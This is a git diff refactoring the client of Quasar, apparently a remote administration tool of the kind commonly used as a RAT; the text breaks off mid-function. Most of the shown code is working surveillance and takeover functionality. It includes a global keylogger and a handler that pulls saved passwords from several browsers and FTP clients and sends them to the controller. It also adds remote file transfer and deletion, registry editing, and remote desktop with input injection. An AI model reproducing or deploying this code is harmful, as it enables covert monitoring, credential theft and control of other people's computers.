b/Quasar.Client/Helper/WindowsAccountHelper.cs @@ -1,17 +1,10 @@ using System; -using System.Diagnostics; using System.Security.Principal; -using System.Threading; -using Quasar.Client.Networking; -using Quasar.Common.Enums; -using Quasar.Common.Messages; namespace Quasar.Client.Helper { public static class WindowsAccountHelper { - public static UserStatus LastUserStatus { get; set; } - public static string GetName() { return Environment.UserName; @@ -36,45 +29,5 @@ public static string GetAccountType() return "Unknown"; } - - public static void StartUserIdleCheckThread() - { - new Thread(UserIdleThread) {IsBackground = true}.Start(); - } - - static void UserIdleThread() - { - while (!QuasarClient.Exiting) - { - Thread.Sleep(5000); - if (IsUserIdle()) - { - if (LastUserStatus != UserStatus.Idle) - { - LastUserStatus = UserStatus.Idle; - Program.ConnectClient.Send(new SetUserStatus {Message = LastUserStatus}); - } - } - else - { - if (LastUserStatus != UserStatus.Active) - { - LastUserStatus = UserStatus.Active; - Program.ConnectClient.Send(new SetUserStatus { Message = LastUserStatus }); - } - } - } - } - - static bool IsUserIdle() - { - long ticks = Stopwatch.GetTimestamp(); - - long idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount(); - - idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0); - - return (idleTime > 600); // idle for 10 minutes - } } } diff --git a/Quasar.Client/Utilities/Keylogger.cs b/Quasar.Client/Logging/Keylogger.cs similarity index 91% rename from Quasar.Client/Utilities/Keylogger.cs rename to Quasar.Client/Logging/Keylogger.cs index ad2dc0ed0..5239f521e 100644 --- a/Quasar.Client/Utilities/Keylogger.cs +++ b/Quasar.Client/Logging/Keylogger.cs @@ -1,7 +1,5 @@ using Gma.System.MouseKeyHook; using Quasar.Client.Config; -using Quasar.Client.Helper; -using Quasar.Client.Networking; using Quasar.Common.Cryptography; using Quasar.Common.Helpers; using System; @@ -12,7 +10,7 @@ using System.Windows.Forms; using Timer = System.Timers.Timer; -namespace Quasar.Client.Utilities +namespace Quasar.Client.Logging { /// /// This class provides keylogging functionality and modifies/highlights the output for @@ -20,20 +18,12 @@ namespace Quasar.Client.Utilities /// public class Keylogger : IDisposable { - /// - /// The current instance of this class, null if there is no instance. - /// - public static Keylogger Instance; - /// /// True if the class has already been disposed, else False. /// public bool IsDisposed { get; private set; } - /// - /// The directory where the log files will be saved. - /// - public static string LogDirectory => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Settings.LOGDIRECTORYNAME); + public double FlushInterval { get; private set; } private readonly Timer _timerFlush; private readonly StringBuilder _logFileBuffer = new StringBuilder(); @@ -45,16 +35,20 @@ public class Keylogger : IDisposable private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY); /// - /// Creates the keylogger instance that provides keylogging functionality and starts it. + /// Creates the keylogger instance that provides keylogging functionality. /// /// The interval to flush the buffer to the logfile. public Keylogger(double flushInterval) { - Instance = this; + FlushInterval = flushInterval; + _timerFlush = new Timer { Interval = FlushInterval }; + _timerFlush.Elapsed += timerFlush_Elapsed; + } + + public void StartLogging() + { Subscribe(Hook.GlobalEvents()); - _timerFlush = new Timer { Interval = flushInterval }; - _timerFlush.Elapsed += timerFlush_Elapsed; _timerFlush.Start(); WriteFile(); @@ -66,7 +60,6 @@ public Keylogger(double flushInterval) public void Dispose() { Dispose(true); - GC.SuppressFinalize(this); } @@ -237,7 +230,7 @@ private string HighlightSpecialKeys(Keys[] keys) private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e) { - if (_logFileBuffer.Length > 0 && !QuasarClient.Exiting) + if (_logFileBuffer.Length > 0) WriteFile(); } @@ -245,11 +238,11 @@ private void WriteFile() { bool writeHeader = false; - string filename = Path.Combine(LogDirectory, DateTime.Now.ToString("MM-dd-yyyy")); + string filename = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy")); try { - DirectoryInfo di = new DirectoryInfo(LogDirectory); + DirectoryInfo di = new DirectoryInfo(Settings.LOGSPATH); if (!di.Exists) di.Create(); @@ -289,4 +282,4 @@ private void WriteFile() _logFileBuffer.Clear(); } } -} \ No newline at end of file +} diff --git a/Quasar.Client/Helper/KeyloggerHelper.cs b/Quasar.Client/Logging/KeyloggerHelper.cs similarity index 98% rename from Quasar.Client/Helper/KeyloggerHelper.cs rename to Quasar.Client/Logging/KeyloggerHelper.cs index 93d8fa240..70b741b65 100644 --- a/Quasar.Client/Helper/KeyloggerHelper.cs +++ b/Quasar.Client/Logging/KeyloggerHelper.cs @@ -1,7 +1,8 @@ using System.Collections.Generic; using System.Windows.Forms; +using Quasar.Client.Helper; -namespace Quasar.Client.Helper +namespace Quasar.Client.Logging { public static class KeyloggerHelper { diff --git a/Quasar.Client/Logging/KeyloggerService.cs b/Quasar.Client/Logging/KeyloggerService.cs new file mode 100644 index 000000000..bf52cb5d2 --- /dev/null +++ b/Quasar.Client/Logging/KeyloggerService.cs @@ -0,0 +1,48 @@ +using System; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Logging +{ + public class KeyloggerService : IDisposable + { + private readonly Thread _msgLoopThread; + private ApplicationContext _msgLoop; + private Keylogger _keylogger; + + public KeyloggerService() + { + _msgLoopThread = new Thread(() => + { + _msgLoop = new ApplicationContext(); + _keylogger = new Keylogger(15000); + _keylogger.StartLogging(); + Application.Run(_msgLoop); + }); + } + + public void StartService() + { + _msgLoopThread.Start(); + } + + /// + /// Disposes all managed and unmanaged resources associated with this keylogger service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected void Dispose(bool disposing) + { + if (disposing) + { + _keylogger.Dispose(); + _msgLoop.ExitThread(); + _msgLoop.Dispose(); + } + } + } +} diff --git a/Quasar.Client/Messages/ClientServicesHandler.cs b/Quasar.Client/Messages/ClientServicesHandler.cs index 643c899c1..b4c827e37 100644 --- a/Quasar.Client/Messages/ClientServicesHandler.cs +++ b/Quasar.Client/Messages/ClientServicesHandler.cs @@ -1,29 +1,24 @@ using Quasar.Client.Config; -using Quasar.Client.Data; using Quasar.Client.Helper; using Quasar.Client.Networking; using Quasar.Client.Setup; using Quasar.Client.Utilities; -using Quasar.Common.Helpers; -using Quasar.Common.IO; using Quasar.Common.Messages; using Quasar.Common.Networking; -using System; -using System.Collections.Generic; using System.Diagnostics; -using System.Net; -using System.Threading; +using System.Windows.Forms; namespace Quasar.Client.Messages { public class ClientServicesHandler : MessageProcessorBase { - private readonly Dictionary _renamedFiles = new Dictionary(); - private readonly QuasarClient _client; - public ClientServicesHandler(QuasarClient client) : base(false) + private readonly QuasarApplication _application; + + public ClientServicesHandler(QuasarApplication application, QuasarClient client) : base(false) { + _application = application; _client = client; } @@ -41,9 +36,6 @@ public override void Execute(ISender sender, IMessage message) { switch (message) { - case DoRemoteExecution msg: - Execute(sender, msg); - break; case DoClientUninstall msg: Execute(sender, msg); break; @@ -84,12 +76,12 @@ private void Execute(ISender client, DoAskElevate message) { FileName = "cmd", Verb = "runas", - Arguments = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT", + Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT", WindowStyle = ProcessWindowStyle.Hidden, UseShellExecute = true }; - MutexHelper.CloseMutex(); // close the mutex so the new process can run + _application.ApplicationMutex.Dispose(); // close the mutex so the new process can run try { Process.Start(processStartInfo); @@ -97,7 +89,7 @@ private void Execute(ISender client, DoAskElevate message) catch { client.Send(new SetStatus {Message = "User refused the elevation request."}); - MutexHelper.CreateMutex(Settings.MUTEX); // re-grab the mutex + _application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // re-grab the mutex return; } _client.Exit(); diff --git a/Quasar.Client/Messages/FileManagerHandler.cs b/Quasar.Client/Messages/FileManagerHandler.cs new file mode 100644 index 000000000..9ada231ce --- /dev/null +++ b/Quasar.Client/Messages/FileManagerHandler.cs @@ -0,0 +1,455 @@ +using Quasar.Client.Networking; +using Quasar.Client.Utilities; +using Quasar.Common.Enums; +using Quasar.Common.Extensions; +using Quasar.Common.Helpers; +using Quasar.Common.IO; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using System; +using System.Collections.Concurrent; +using System.IO; +using System.Linq; +using System.Security; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class FileManagerHandler : MessageProcessorBase + { + private readonly ConcurrentDictionary _activeTransfers = new ConcurrentDictionary(); + private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads + + private readonly QuasarClient _client; + + public FileManagerHandler(QuasarClient client) : base(false) + { + _client = client; + } + + public override bool CanExecute(IMessage message) => message is GetDrives || + message is GetDirectory || + message is FileTransferRequest || + message is FileTransferCancel || + message is FileTransferChunk || + message is DoPathDelete || + message is DoPathRename; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDrives msg: + Execute(sender, msg); + break; + case GetDirectory msg: + Execute(sender, msg); + break; + case FileTransferRequest msg: + Execute(sender, msg); + break; + case FileTransferCancel msg: + Execute(sender, msg); + break; + case FileTransferChunk msg: + Execute(sender, msg); + break; + case DoPathDelete msg: + Execute(sender, msg); + break; + case DoPathRename msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetDrives command) + { + DriveInfo[] driveInfos; + try + { + driveInfos = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray(); + } + catch (IOException) + { + client.Send(new SetStatusFileManager { Message = "GetDrives I/O error", SetLastDirectorySeen = false }); + return; + } + catch (UnauthorizedAccessException) + { + client.Send(new SetStatusFileManager { Message = "GetDrives No permission", SetLastDirectorySeen = false }); + return; + } + + if (driveInfos.Length == 0) + { + client.Send(new SetStatusFileManager { Message = "GetDrives No drives", SetLastDirectorySeen = false }); + return; + } + + Drive[] drives = new Drive[driveInfos.Length]; + for (int i = 0; i < drives.Length; i++) + { + try + { + var displayName = !string.IsNullOrEmpty(driveInfos[i].VolumeLabel) + ? string.Format("{0} ({1}) [{2}, {3}]", driveInfos[i].RootDirectory.FullName, + driveInfos[i].VolumeLabel, + driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat) + : string.Format("{0} [{1}, {2}]", driveInfos[i].RootDirectory.FullName, + driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat); + + drives[i] = new Drive + { DisplayName = displayName, RootDirectory = driveInfos[i].RootDirectory.FullName }; + } + catch (Exception) + { + + } + } + + client.Send(new GetDrivesResponse { Drives = drives }); + } + + private void Execute(ISender client, GetDirectory message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + DirectoryInfo dicInfo = new DirectoryInfo(message.RemotePath); + + FileInfo[] files = dicInfo.GetFiles(); + DirectoryInfo[] directories = dicInfo.GetDirectories(); + + FileSystemEntry[] items = new FileSystemEntry[files.Length + directories.Length]; + + int offset = 0; + for (int i = 0; i < directories.Length; i++, offset++) + { + items[i] = new FileSystemEntry + { + EntryType = FileType.Directory, + Name = directories[i].Name, + Size = 0, + LastAccessTimeUtc = directories[i].LastAccessTimeUtc + }; + } + + for (int i = 0; i < files.Length; i++) + { + items[i + offset] = new FileSystemEntry + { + EntryType = FileType.File, + Name = files[i].Name, + Size = files[i].Length, + ContentType = Path.GetExtension(files[i].Name).ToContentType(), + LastAccessTimeUtc = files[i].LastAccessTimeUtc + }; + } + + client.Send(new GetDirectoryResponse { RemotePath = message.RemotePath, Items = items }); + } + catch (UnauthorizedAccessException) + { + onError("GetDirectory No permission"); + } + catch (SecurityException) + { + onError("GetDirectory No permission"); + } + catch (PathTooLongException) + { + onError("GetDirectory Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("GetDirectory Directory not found"); + } + catch (FileNotFoundException) + { + onError("GetDirectory File not found"); + } + catch (IOException) + { + onError("GetDirectory I/O error"); + } + catch (Exception) + { + onError("GetDirectory Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = true }); + } + } + + private void Execute(ISender client, FileTransferRequest message) + { + new Thread(() => + { + _limitThreads.WaitOne(); + try + { + using (var srcFile = new FileSplit(message.RemotePath, FileAccess.Read)) + { + _activeTransfers[message.Id] = srcFile; + foreach (var chunk in srcFile) + { + if (!_client.Connected || !_activeTransfers.ContainsKey(message.Id)) + break; + + // blocking sending might not be required, needs further testing + _client.SendBlocking(new FileTransferChunk + { + Id = message.Id, + FilePath = message.RemotePath, + FileSize = srcFile.FileSize, + Chunk = chunk + }); + } + + client.Send(new FileTransferComplete + { + Id = message.Id, + FilePath = message.RemotePath + }); + } + } + catch (Exception) + { + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Error reading file" + }); + } + finally + { + RemoveFileTransfer(message.Id); + _limitThreads.Release(); + } + }).Start(); + } + + private void Execute(ISender client, FileTransferCancel message) + { + if (_activeTransfers.ContainsKey(message.Id)) + { + RemoveFileTransfer(message.Id); + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Canceled" + }); + } + } + + private void Execute(ISender client, FileTransferChunk message) + { + try + { + if (message.Chunk.Offset == 0) + { + string filePath = message.FilePath; + + if (string.IsNullOrEmpty(filePath)) + { + // generate new temporary file path if empty + filePath = FileHelper.GetTempFilePath(".exe"); + } + + if (File.Exists(filePath)) + { + // delete existing file + NativeMethods.DeleteFile(filePath); + } + + _activeTransfers[message.Id] = new FileSplit(filePath, FileAccess.Write); + } + + if (!_activeTransfers.ContainsKey(message.Id)) + return; + + var destFile = _activeTransfers[message.Id]; + destFile.WriteChunk(message.Chunk); + + if (destFile.FileSize == message.FileSize) + { + client.Send(new FileTransferComplete + { + Id = message.Id, + FilePath = destFile.FilePath + }); + RemoveFileTransfer(message.Id); + } + } + catch (Exception) + { + RemoveFileTransfer(message.Id); + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Error writing file" + }); + } + } + + private void Execute(ISender client, DoPathDelete message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + switch (message.PathType) + { + case FileType.Directory: + Directory.Delete(message.Path, true); + client.Send(new SetStatusFileManager + { + Message = "Deleted directory", + SetLastDirectorySeen = false + }); + break; + case FileType.File: + File.Delete(message.Path); + client.Send(new SetStatusFileManager + { + Message = "Deleted file", + SetLastDirectorySeen = false + }); + break; + } + + Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.Path) }); + } + catch (UnauthorizedAccessException) + { + onError("DeletePath No permission"); + } + catch (PathTooLongException) + { + onError("DeletePath Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("DeletePath Path not found"); + } + catch (IOException) + { + onError("DeletePath I/O error"); + } + catch (Exception) + { + onError("DeletePath Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); + } + } + + private void Execute(ISender client, DoPathRename message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + switch (message.PathType) + { + case FileType.Directory: + Directory.Move(message.Path, message.NewPath); + client.Send(new SetStatusFileManager + { + Message = "Renamed directory", + SetLastDirectorySeen = false + }); + break; + case FileType.File: + File.Move(message.Path, message.NewPath); + client.Send(new SetStatusFileManager + { + Message = "Renamed file", + SetLastDirectorySeen = false + }); + break; + } + + Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.NewPath) }); + } + catch (UnauthorizedAccessException) + { + onError("RenamePath No permission"); + } + catch (PathTooLongException) + { + onError("RenamePath Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("RenamePath Path not found"); + } + catch (IOException) + { + onError("RenamePath I/O error"); + } + catch (Exception) + { + onError("RenamePath Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); + } + } + + private void RemoveFileTransfer(int id) + { + if (_activeTransfers.ContainsKey(id)) + { + _activeTransfers[id].Dispose(); + _activeTransfers.TryRemove(id, out _); + } + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + foreach (var transfer in _activeTransfers) + { + transfer.Value?.Dispose(); + } + + _activeTransfers.Clear(); + } + } + } +} diff --git a/Quasar.Client/Messages/KeyloggerHandler.cs b/Quasar.Client/Messages/KeyloggerHandler.cs index c509ee8fe..ab83217d0 100644 --- a/Quasar.Client/Messages/KeyloggerHandler.cs +++ b/Quasar.Client/Messages/KeyloggerHandler.cs @@ -1,23 +1,17 @@ -using Quasar.Client.Utilities; +using Quasar.Client.Config; using Quasar.Common.Messages; using Quasar.Common.Networking; -using System; -using System.IO; -using System.Threading; -using Quasar.Common.IO; namespace Quasar.Client.Messages { public class KeyloggerHandler : MessageProcessorBase { - private Keylogger logger; - public KeyloggerHandler() : base(false) { } - public override bool CanExecute(IMessage message) => message is GetKeyloggerLogs; + public override bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectory; public override bool CanExecuteFrom(ISender sender) => true; @@ -25,124 +19,20 @@ public override void Execute(ISender sender, IMessage message) { switch (message) { - case GetKeyloggerLogs msg: + case GetKeyloggerLogsDirectory msg: Execute(sender, msg); break; } } - public void Execute(ISender client, GetKeyloggerLogs message) + public void Execute(ISender client, GetKeyloggerLogsDirectory message) { - /*new Thread(() => - { - try - { - int index = 1; - - if (!Directory.Exists(Keylogger.LogDirectory)) - { - client.Send(new GetKeyloggerLogsResponse - { - Filename = "", - Block = new byte[0], - MaxBlocks = -1, - CurrentBlock = -1, - CustomMessage = "", - Index = index, - FileCount = 0 - }); - return; - } - - FileInfo[] iFiles = new DirectoryInfo(Keylogger.LogDirectory).GetFiles(); - - if (iFiles.Length == 0) - { - client.Send(new GetKeyloggerLogsResponse - { - Filename = "", - Block = new byte[0], - MaxBlocks = -1, - CurrentBlock = -1, - CustomMessage = "", - Index = index, - FileCount = 0 - }); - return; - } - - foreach (FileInfo file in iFiles) - { - var srcFile = new FileSplitLegacy(file.FullName); - - if (srcFile.MaxBlocks < 0) - { - client.Send(new GetKeyloggerLogsResponse - { - Filename = "", - Block = new byte[0], - MaxBlocks = -1, - CurrentBlock = -1, - CustomMessage = srcFile.LastError, - Index = index, - FileCount = iFiles.Length - }); - } - - for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) - { - byte[] block; - if (srcFile.ReadBlock(currentBlock, out block)) - { - client.Send(new GetKeyloggerLogsResponse - { - Filename = Path.GetFileName(file.Name), - Block = block, - MaxBlocks = srcFile.MaxBlocks, - CurrentBlock = currentBlock, - CustomMessage = srcFile.LastError, - Index = index, - FileCount = iFiles.Length - }); - //Thread.Sleep(200); - } - else - { - client.Send(new GetKeyloggerLogsResponse - { - Filename = "", - Block = new byte[0], - MaxBlocks = -1, - CurrentBlock = -1, - CustomMessage = srcFile.LastError, - Index = index, - FileCount = iFiles.Length - }); - } - } - - index++; - } - } - catch (Exception ex) - { - client.Send(new GetKeyloggerLogsResponse - { - Filename = "", - Block = new byte[0], - MaxBlocks = -1, - CurrentBlock = -1, - CustomMessage = ex.Message, - Index = -1, - FileCount = -1 - }); - } - }).Start();*/ + client.Send(new GetKeyloggerLogsDirectoryResponse {LogsDirectory = Settings.LOGSPATH }); } protected override void Dispose(bool disposing) { - throw new NotImplementedException(); + } } } diff --git a/Quasar.Client/Messages/MessageBoxHandler.cs b/Quasar.Client/Messages/MessageBoxHandler.cs new file mode 100644 index 000000000..6ea249526 --- /dev/null +++ b/Quasar.Client/Messages/MessageBoxHandler.cs @@ -0,0 +1,47 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class MessageBoxHandler : MessageProcessorBase + { + public MessageBoxHandler() : base(false) + { + } + + public override bool CanExecute(IMessage message) => message is DoShowMessageBox; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShowMessageBox msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoShowMessageBox message) + { + new Thread(() => + { + MessageBox.Show(message.Text, message.Caption, + (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button), + (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon), + MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly); + }).Start(); + + client.Send(new SetStatus { Message = "Successfully displayed MessageBox" }); + } + + protected override void Dispose(bool disposing) + { + + } + } +} diff --git a/Quasar.Client/Messages/PasswordRecoveryHandler.cs b/Quasar.Client/Messages/PasswordRecoveryHandler.cs new file mode 100644 index 000000000..15ac8f5d2 --- /dev/null +++ b/Quasar.Client/Messages/PasswordRecoveryHandler.cs @@ -0,0 +1,50 @@ +using Quasar.Client.Recovery.Browsers; +using Quasar.Client.Recovery.FtpClients; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using System.Collections.Generic; + +namespace Quasar.Client.Messages +{ + public class PasswordRecoveryHandler : MessageProcessorBase + { + public PasswordRecoveryHandler() : base(false) + { + } + + public override bool CanExecute(IMessage message) => message is GetPasswords; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetPasswords msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetPasswords message) + { + List recovered = new List(); + + recovered.AddRange(Chrome.GetSavedPasswords()); + recovered.AddRange(Opera.GetSavedPasswords()); + recovered.AddRange(Yandex.GetSavedPasswords()); + recovered.AddRange(InternetExplorer.GetSavedPasswords()); + recovered.AddRange(Firefox.GetSavedPasswords()); + recovered.AddRange(FileZilla.GetSavedPasswords()); + recovered.AddRange(WinSCP.GetSavedPasswords()); + + client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered }); + } + + protected override void Dispose(bool disposing) + { + + } + } +} diff --git a/Quasar.Client/Messages/RegistryHandler.cs b/Quasar.Client/Messages/RegistryHandler.cs new file mode 100644 index 000000000..ec8a4c802 --- /dev/null +++ b/Quasar.Client/Messages/RegistryHandler.cs @@ -0,0 +1,241 @@ +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Client.Networking; +using Quasar.Client.Registry; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using System; + +namespace Quasar.Client.Messages +{ + public class RegistryHandler : MessageProcessorBase + { + private readonly QuasarClient _client; + + public RegistryHandler(QuasarClient client) : base(false) + { + _client = client; + } + + public override bool CanExecute(IMessage message) => message is DoLoadRegistryKey || + message is DoCreateRegistryKey || + message is DoDeleteRegistryKey || + message is DoRenameRegistryKey || + message is DoCreateRegistryValue || + message is DoDeleteRegistryValue || + message is DoRenameRegistryValue || + message is DoChangeRegistryValue; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoLoadRegistryKey msg: + Execute(sender, msg); + break; + case DoCreateRegistryKey msg: + Execute(sender, msg); + break; + case DoDeleteRegistryKey msg: + Execute(sender, msg); + break; + case DoRenameRegistryKey msg: + Execute(sender, msg); + break; + case DoCreateRegistryValue msg: + Execute(sender, msg); + break; + case DoDeleteRegistryValue msg: + Execute(sender, msg); + break; + case DoRenameRegistryValue msg: + Execute(sender, msg); + break; + case DoChangeRegistryValue msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoLoadRegistryKey message) + { + GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse(); + try + { + RegistrySeeker seeker = new RegistrySeeker(); + seeker.BeginSeeking(message.RootKeyName); + + responsePacket.Matches = seeker.Matches; + responsePacket.IsError = false; + } + catch (Exception e) + { + responsePacket.IsError = true; + responsePacket.ErrorMsg = e.Message; + } + responsePacket.RootKey = message.RootKeyName; + client.Send(responsePacket); + } + + + private void Execute(ISender client, DoCreateRegistryKey message) + { + GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse(); + string errorMsg; + string newKeyName = ""; + + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(message.ParentPath, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + + responsePacket.ErrorMsg = errorMsg; + responsePacket.Match = new RegSeekerMatch + { + Key = newKeyName, + Data = RegistryKeyHelper.GetDefaultValues(), + HasSubKeys = false + }; + responsePacket.ParentPath = message.ParentPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoDeleteRegistryKey message) + { + GetDeleteRegistryKeyResponse responsePacket = new GetDeleteRegistryKeyResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(message.KeyName, message.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = message.ParentPath; + responsePacket.KeyName = message.KeyName; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoRenameRegistryKey message) + { + GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(message.OldKeyName, message.NewKeyName, message.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = message.ParentPath; + responsePacket.OldKeyName = message.OldKeyName; + responsePacket.NewKeyName = message.NewKeyName; + + client.Send(responsePacket); + } + + + private void Execute(ISender client, DoCreateRegistryValue message) + { + GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse(); + string errorMsg; + string newKeyName = ""; + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(message.KeyPath, message.Kind, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.Value = RegistryKeyHelper.CreateRegValueData(newKeyName, message.Kind, message.Kind.GetDefault()); + responsePacket.KeyPath = message.KeyPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoDeleteRegistryValue message) + { + GetDeleteRegistryValueResponse responsePacket = new GetDeleteRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(message.KeyPath, message.ValueName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ValueName = message.ValueName; + responsePacket.KeyPath = message.KeyPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoRenameRegistryValue message) + { + GetRenameRegistryValueResponse responsePacket = new GetRenameRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(message.OldValueName, message.NewValueName, message.KeyPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.KeyPath = message.KeyPath; + responsePacket.OldValueName = message.OldValueName; + responsePacket.NewValueName = message.NewValueName; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoChangeRegistryValue message) + { + GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(message.Value, message.KeyPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.KeyPath = message.KeyPath; + responsePacket.Value = message.Value; + + client.Send(responsePacket); + } + + protected override void Dispose(bool disposing) + { + + } + } +} diff --git a/Quasar.Client/Messages/RemoteDesktopHandler.cs b/Quasar.Client/Messages/RemoteDesktopHandler.cs new file mode 100644 index 000000000..1f26e5c8f --- /dev/null +++ b/Quasar.Client/Messages/RemoteDesktopHandler.cs @@ -0,0 +1,198 @@ +using Quasar.Client.Helper; +using Quasar.Client.Networking; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Common.Video; +using Quasar.Common.Video.Codecs; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class RemoteDesktopHandler : MessageProcessorBase + { + private readonly QuasarClient _client; + + private UnsafeStreamCodec _streamCodec; + + public RemoteDesktopHandler(QuasarClient client) : base(false) + { + _client = client; + } + + public override bool CanExecute(IMessage message) => message is GetDesktop || + message is DoMouseEvent || + message is DoKeyboardEvent || + message is GetMonitors; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDesktop msg: + Execute(sender, msg); + break; + case DoMouseEvent msg: + Execute(sender, msg); + break; + case DoKeyboardEvent msg: + Execute(sender, msg); + break; + case GetMonitors msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetDesktop message) + { + // TODO: Switch to streaming mode without request-response once switched from windows forms + // TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis + var monitorBounds = ScreenHelper.GetBounds((message.DisplayIndex)); + var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width }; + + if (_streamCodec == null) + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + + if (message.CreateNew || _streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex + || _streamCodec.Resolution != resolution) + { + 